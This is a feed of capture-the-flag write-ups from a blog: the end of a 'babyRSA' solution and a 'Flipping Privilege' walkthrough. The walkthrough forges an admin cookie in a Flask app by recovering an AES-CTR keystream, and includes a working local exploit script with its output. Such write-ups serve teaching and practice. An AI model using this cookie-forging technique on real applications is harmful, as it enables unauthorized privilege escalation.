And we get the flag: DDC{Crypto-was-great-but-why-was-there-no-RSA}</description><content type="html"><![CDATA[<p>We are given a text file: <code>babyRSA.txt</code>, with the following contents:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>n = 14591059584728658996740718896274912924434702993948401065953397352995339910088088733574991258740736943162240984607294149798518974390850442269320587130740348332766777840789060640046077889381042022860333067208949242541537029834713571632092399544412860224638358821688934376008405448120397447357043233351572894555161097157298917757903358450051781374553895783095933436102637259148017787894728417663857683547045820798741292596714992103546619732559091189051271145488307258679223962750029735466371748284344268969024995984222371842720543906957141892627260247305180561557377683921023735478606199803707739027008690484139631874629
</span></span><span style="display:flex;"><span>e = 65537
</span></span><span style="display:flex;"><span>ciphertext = 8370482736029746802272435856905582692197472046878613623126167436276048925497192051855114861968301986740953539053163947192721440270870275675104799441533614895688983570828061357190863655539868022793932838551215620997098363666548621341103618946043035652810120255282119559608036421751056052625158822827831595069995146507062852262681451781903083499147508262669740286416571718635819352694698805949316507535002658526810142183807237137069555203580152352863371601204706128986849512578411079323120877340385328130962702308650000566212396403238074531227510385807269241298909102687880672710693216031720613169757344140890527855180
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># What&#39;s the plaintext? this might help!
</span></span><span style="display:flex;"><span>p = 135118121033494444903135040650593867761183730711309803684324950423162537667458806301698825106852556296618752800474983408511120590602816857766798006294318907531661438883032776328539787015720714526094491835105378129306305286637613861991613352256006427593441280185940386266360182068694185435614508146253927535219
</span></span><span style="display:flex;"><span>q = 107987437015288865195226926953887120405158392241008731414825285641627743723768153549068145296919127709072426332548919995869779098499543714252696254999551997426879319789809420841712042595904693470932881039466995302317325926476459209840274875302406142467069199349897038463278476940799410775560424588456195916391
</span></span></code></pre></div><p>We know from the name, that this most have something to do with <a href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)">RSA</a>, and that we have the n, e, ciphertext, p and q values.</p>
<p>We can plot these into <a href="https://www.dcode.fr/rsa-cipher">www.dcode.fr/rsa-cipher</a>:</p>

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/baby_rsa/dcode.fr.png"  class="center"  />


<p>And we get the flag: <code>DDC{Crypto-was-great-but-why-was-there-no-RSA}</code></p>
]]></content></item><item><title>DDC 2023 Qualification - Flipping Privilege</title><link>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-flipping-privilege/</link><pubDate>Mon, 20 Mar 2023 09:30:00 +0100</pubDate><guid>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-flipping-privilege/</guid><description>Recon and Introduction We are given the website http://privilege.hkn and the app.py that it is running: #!/usr/bin/env python3 from flask import Flask,request,Response,render_template,abort,make_response import json,random,os,base64 from Crypto.Cipher import AES ### Global variables app = Flask(__name__) secret_key = os.urandom(16) ctr_nonce = os.urandom(8) def gen_user_cookie(): cookie_dict = {} cookie_dict[&amp;#34;access_level&amp;#34;] = &amp;#34;User&amp;#34; pt = json.dumps(cookie_dict).encode() cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce) ct = cipher.encrypt(pt).hex() return ct def check_admin_cookie(cookie): ct = bytes.fromhex(cookie) cipher = AES.</description><content type="html"><![CDATA[<h2 id="recon-and-introduction">Recon and Introduction</h2>
<p>We are given the website <code>http://privilege.hkn</code> and the <code>app.py</code> that it is running:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/flipping/home.png"  class="center"  />

</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> flask <span style="color:#f92672">import</span> Flask,request,Response,render_template,abort,make_response
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> json<span style="color:#f92672">,</span>random<span style="color:#f92672">,</span>os<span style="color:#f92672">,</span>base64
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto.Cipher <span style="color:#f92672">import</span> AES
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Global variables</span>
</span></span><span style="display:flex;"><span>app <span style="color:#f92672">=</span> Flask(__name__)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>secret_key <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>urandom(<span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>ctr_nonce <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>urandom(<span style="color:#ae81ff">8</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">gen_user_cookie</span>():
</span></span><span style="display:flex;"><span>    cookie_dict <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>    cookie_dict[<span style="color:#e6db74">&#34;access_level&#34;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;User&#34;</span>
</span></span><span style="display:flex;"><span>    pt <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>dumps(cookie_dict)<span style="color:#f92672">.</span>encode()
</span></span><span style="display:flex;"><span>    cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(secret_key, AES<span style="color:#f92672">.</span>MODE_CTR, nonce <span style="color:#f92672">=</span> ctr_nonce)
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>encrypt(pt)<span style="color:#f92672">.</span>hex()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> ct
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">check_admin_cookie</span>(cookie):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(cookie)
</span></span><span style="display:flex;"><span>    cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(secret_key, AES<span style="color:#f92672">.</span>MODE_CTR, nonce <span style="color:#f92672">=</span> ctr_nonce)
</span></span><span style="display:flex;"><span>    pt <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>decrypt(ct)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>    cookie_dict <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>loads(pt)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> cookie_dict[<span style="color:#e6db74">&#34;access_level&#34;</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;Admin&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.route</span>(<span style="color:#e6db74">&#39;/flag&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">retPsyduck</span>():
</span></span><span style="display:flex;"><span>    user_cookie <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>cookies<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;permissions&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> user_cookie <span style="color:#f92672">==</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#34;No cookie set&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        allowed <span style="color:#f92672">=</span> check_admin_cookie(user_cookie)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#34;Something went wrong with your cookie&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> allowed: 
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;images/flag.png&#39;</span>,<span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> Response(f<span style="color:#f92672">.</span>read(), mimetype<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;image/png&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#34;This page is for admins only!&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.route</span>(<span style="color:#e6db74">&#34;/&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">index</span>():
</span></span><span style="display:flex;"><span>    res <span style="color:#f92672">=</span> make_response()
</span></span><span style="display:flex;"><span>    cookie <span style="color:#f92672">=</span> gen_user_cookie()
</span></span><span style="display:flex;"><span>    res<span style="color:#f92672">.</span>set_cookie(<span style="color:#e6db74">&#39;permissions&#39;</span>, cookie)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;./templates/index.html&#39;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>        res<span style="color:#f92672">.</span>set_data(f<span style="color:#f92672">.</span>read())
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> res
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(__name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>):
</span></span><span style="display:flex;"><span>    app<span style="color:#f92672">.</span>run(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;0.0.0.0&#39;</span>)
</span></span></code></pre></div><p>Clicking the button redirects us to <code>/flag</code> (but we dont have the right permissions):

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/flipping/flag.png"  class="center"  />

</p>
<p>If we look at the cookies that are set we find:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/flipping/cookie.png"  class="center"  />

</p>
<h2 id="analysis-of-cookie-generation">Analysis of cookie generation</h2>
<p>Looking at the <code>app.py</code> we can find the <code>gen_user_cookie</code> function that generates this cookie:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">gen_user_cookie</span>():
</span></span><span style="display:flex;"><span>    cookie_dict <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>    cookie_dict[<span style="color:#e6db74">&#34;access_level&#34;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;User&#34;</span>
</span></span><span style="display:flex;"><span>    pt <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>dumps(cookie_dict)<span style="color:#f92672">.</span>encode()
</span></span><span style="display:flex;"><span>    cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(secret_key, AES<span style="color:#f92672">.</span>MODE_CTR, nonce <span style="color:#f92672">=</span> ctr_nonce)
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>encrypt(pt)<span style="color:#f92672">.</span>hex()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> ct
</span></span></code></pre></div><p>Lets see what it does by printing all the variables:</p>
<pre tabindex="0"><code class="language-ipython" data-lang="ipython">In [1]: import json,os

In [2]: from Crypto.Cipher import AES

In [3]: secret_key = os.urandom(16)

In [4]: ctr_nonce = os.urandom(8)

In [5]: def gen_user_cookie():
   ...:     cookie_dict = {}
   ...:     cookie_dict[&#34;access_level&#34;] = &#34;User&#34;
   ...:     pt = json.dumps(cookie_dict).encode()
   ...:     cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce)
   ...:     ct = cipher.encrypt(pt).hex()
   ...:     print(f&#34;&#34;&#34;
   ...:     cookie_dict ({type(cookie_dict)}): {cookie_dict}
   ...:     pt ({type(pt)}): {pt}
   ...:     cipher ({type(cipher)}): {cipher}
   ...:     ct ({type(ct)}): {ct}
   ...:     &#34;&#34;&#34;)
   ...:     #return ct
   ...: 

In [6]: gen_user_cookie()

    cookie_dict (&lt;class &#39;dict&#39;&gt;): {&#39;access_level&#39;: &#39;User&#39;}
    pt (&lt;class &#39;bytes&#39;&gt;): b&#39;{&#34;access_level&#34;: &#34;User&#34;}&#39;
    cipher (&lt;class &#39;Crypto.Cipher._mode_ctr.CtrMode&#39;&gt;): &lt;Crypto.Cipher._mode_ctr.CtrMode object at 0x7fbf7829c610&gt;
    ct (&lt;class &#39;str&#39;&gt;): 32929cf15c3aa2de78a32a30dc835b3f6711c356470d0e49 
</code></pre><p>We can see that <code>pt</code> seems to be PlainText representing a json object denoting the access level of our user.
That is then encrypted with AES in CTR (counter) mode and saved in <code>ct</code> as CipherText that is returned from the funtion.</p>
<p>If we take a look at the <code>check_admin_cookie</code> function, we can see how the cookie is validated for access to the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">check_admin_cookie</span>(cookie):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(cookie)
</span></span><span style="display:flex;"><span>    cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(secret_key, AES<span style="color:#f92672">.</span>MODE_CTR, nonce <span style="color:#f92672">=</span> ctr_nonce)
</span></span><span style="display:flex;"><span>    pt <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>decrypt(ct)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>    cookie_dict <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>loads(pt)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> cookie_dict[<span style="color:#e6db74">&#34;access_level&#34;</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;Admin&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">False</span>
</span></span></code></pre></div><p>This function decrypts the cookie and checks if <code>access_level</code> is set to <code>Admin</code>.
So the goal is to somehow change our <code>access_level</code> in the cookie from <code>User</code> to <code>Admin</code></p>
<p>The <code>secret_key</code> and <code>ctr_nonce</code> used on the server is randomly generated at startup through so we cant decrypt and encrypt our own cookie, since we cant get these.</p>
<h3 id="a-look-at-the-properties-of-aes-in-ctr-mode">A look at the properties of AES in CTR mode</h3>
<p>If we take a look at how AES CTR works though we can find some interesting properties though:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/flipping/ctr.png"  class="center"  />

</p>
<p>We can see that each block is encrypted independently from the each other, and that each blocks ciphertext is made from the xor of plaintext and a keystream generated from the key, nonce and a counter.</p>
<p>With known plaintext and ciphertext we are able to calculate the generated keystream used in the xor:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>pt ^ s = ct
</span></span><span style="display:flex;"><span>pt ^ ct = s
</span></span></code></pre></div><p>And since we know the keystream we can use it to encrypt any other plaintext in the same position.</p>
<p>Lets try with an example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>pt = 0x41
</span></span><span style="display:flex;"><span>ct = 0x69
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>s = pt ^ ct = 0x28
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pt2 = 0x50
</span></span><span style="display:flex;"><span>ct2 = pt2 ^ s = 0x78
</span></span></code></pre></div><h2 id="local-exploit">Local exploit</h2>
<p>Lets try and script this approach with modified functions from <code>app.py</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># local_exploit.py</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> json<span style="color:#f92672">,</span>os
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto.Cipher <span style="color:#f92672">import</span> AES
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Global variables</span>
</span></span><span style="display:flex;"><span>secret_key <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>urandom(<span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>ctr_nonce <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>urandom(<span style="color:#ae81ff">8</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">gen_user_cookie</span>():
</span></span><span style="display:flex;"><span>    cookie_dict <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>    cookie_dict[<span style="color:#e6db74">&#34;access_level&#34;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;User&#34;</span>
</span></span><span style="display:flex;"><span>    pt <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>dumps(cookie_dict)<span style="color:#f92672">.</span>encode()
</span></span><span style="display:flex;"><span>    cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(secret_key, AES<span style="color:#f92672">.</span>MODE_CTR, nonce <span style="color:#f92672">=</span> ctr_nonce)
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>encrypt(pt) <span style="color:#75715e"># Made it return bytes instead of hex encoded</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> pt, ct <span style="color:#75715e"># Made it return the plaintext too</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">decrypt_cookie</span>(cookie):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(cookie)
</span></span><span style="display:flex;"><span>    cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(secret_key, AES<span style="color:#f92672">.</span>MODE_CTR, nonce <span style="color:#f92672">=</span> ctr_nonce)
</span></span><span style="display:flex;"><span>    pt <span style="color:#f92672">=</span> cipher<span style="color:#f92672">.</span>decrypt(ct)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> pt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Make cookie and plaintext</span>
</span></span><span style="display:flex;"><span>plaintext, cookie <span style="color:#f92672">=</span> gen_user_cookie()
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Plaintext (bytes): </span><span style="color:#e6db74">{</span>plaintext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Plaintext (hex): </span><span style="color:#e6db74">{</span>plaintext<span style="color:#f92672">.</span>hex()<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Encrypted Cookie (hex): </span><span style="color:#e6db74">{</span>cookie<span style="color:#f92672">.</span>hex()<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Calculate the keystream used in xor</span>
</span></span><span style="display:flex;"><span>keystream <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Calculating keystream...&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> pt, ct <span style="color:#f92672">in</span> zip(plaintext, cookie):
</span></span><span style="display:flex;"><span>    s <span style="color:#f92672">=</span> pt <span style="color:#f92672">^</span> ct
</span></span><span style="display:flex;"><span>    keystream<span style="color:#f92672">.</span>append(s)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>pt<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> ^ </span><span style="color:#e6db74">{</span>ct<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> = </span><span style="color:#e6db74">{</span>s<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Encrypt new plaintext</span>
</span></span><span style="display:flex;"><span>new_dict <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>new_dict[<span style="color:#e6db74">&#34;access_level&#34;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Admin&#34;</span>
</span></span><span style="display:flex;"><span>new_plaintext <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>dumps(new_dict)<span style="color:#f92672">.</span>encode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">New plaintext (bytes): </span><span style="color:#e6db74">{</span>new_plaintext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">New plaintext (hex): </span><span style="color:#e6db74">{</span>new_plaintext<span style="color:#f92672">.</span>hex()<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>new_ciphertext <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Encrypting new plaintext...&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> s, pt <span style="color:#f92672">in</span> zip(keystream, new_plaintext):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> s <span style="color:#f92672">^</span> pt
</span></span><span style="display:flex;"><span>    new_ciphertext <span style="color:#f92672">+=</span> <span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>ct<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>s<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> ^ </span><span style="color:#e6db74">{</span>pt<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> = </span><span style="color:#e6db74">{</span>ct<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;New Ciphertext (hex): </span><span style="color:#e6db74">{</span>new_ciphertext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Decrypted Ciphertext with known secret_key and nonce: </span><span style="color:#e6db74">{</span>decrypt_cookie(new_ciphertext)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ python local_exploit.py
</span></span><span style="display:flex;"><span>Plaintext <span style="color:#f92672">(</span>bytes<span style="color:#f92672">)</span>: b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;User&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>Plaintext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 7b226163636573735f6c6576656c223a202255736572227d
</span></span><span style="display:flex;"><span>Encrypted Cookie <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 36363f2ec9306e38d87f9ad8c6fabd13a2431b2c79ff34a3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Calculating keystream...
</span></span><span style="display:flex;"><span>7b ^ 36 <span style="color:#f92672">=</span> 4d
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ 36 <span style="color:#f92672">=</span> <span style="color:#ae81ff">14</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">61</span> ^ 3f <span style="color:#f92672">=</span> 5e
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">63</span> ^ 2e <span style="color:#f92672">=</span> 4d
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">63</span> ^ c9 <span style="color:#f92672">=</span> aa
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 30 <span style="color:#f92672">=</span> <span style="color:#ae81ff">55</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ 6e <span style="color:#f92672">=</span> 1d
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ 38 <span style="color:#f92672">=</span> 4b
</span></span><span style="display:flex;"><span>5f ^ d8 <span style="color:#f92672">=</span> <span style="color:#ae81ff">87</span>
</span></span><span style="display:flex;"><span>6c ^ 7f <span style="color:#f92672">=</span> <span style="color:#ae81ff">13</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 9a <span style="color:#f92672">=</span> ff
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">76</span> ^ d8 <span style="color:#f92672">=</span> ae
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ c6 <span style="color:#f92672">=</span> a3
</span></span><span style="display:flex;"><span>6c ^ fa <span style="color:#f92672">=</span> <span style="color:#ae81ff">96</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ bd <span style="color:#f92672">=</span> 9f
</span></span><span style="display:flex;"><span>3a ^ 13 <span style="color:#f92672">=</span> <span style="color:#ae81ff">29</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">20</span> ^ a2 <span style="color:#f92672">=</span> <span style="color:#ae81ff">82</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ 43 <span style="color:#f92672">=</span> <span style="color:#ae81ff">61</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">55</span> ^ 1b <span style="color:#f92672">=</span> 4e
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ 2c <span style="color:#f92672">=</span> 5f
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 79 <span style="color:#f92672">=</span> 1c
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">72</span> ^ ff <span style="color:#f92672">=</span> 8d
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ 34 <span style="color:#f92672">=</span> <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>7d ^ a3 <span style="color:#f92672">=</span> de
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>New plaintext <span style="color:#f92672">(</span>bytes<span style="color:#f92672">)</span>: b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>New plaintext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 7b226163636573735f6c6576656c223a202241646d696e227d
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Encrypting new plaintext...
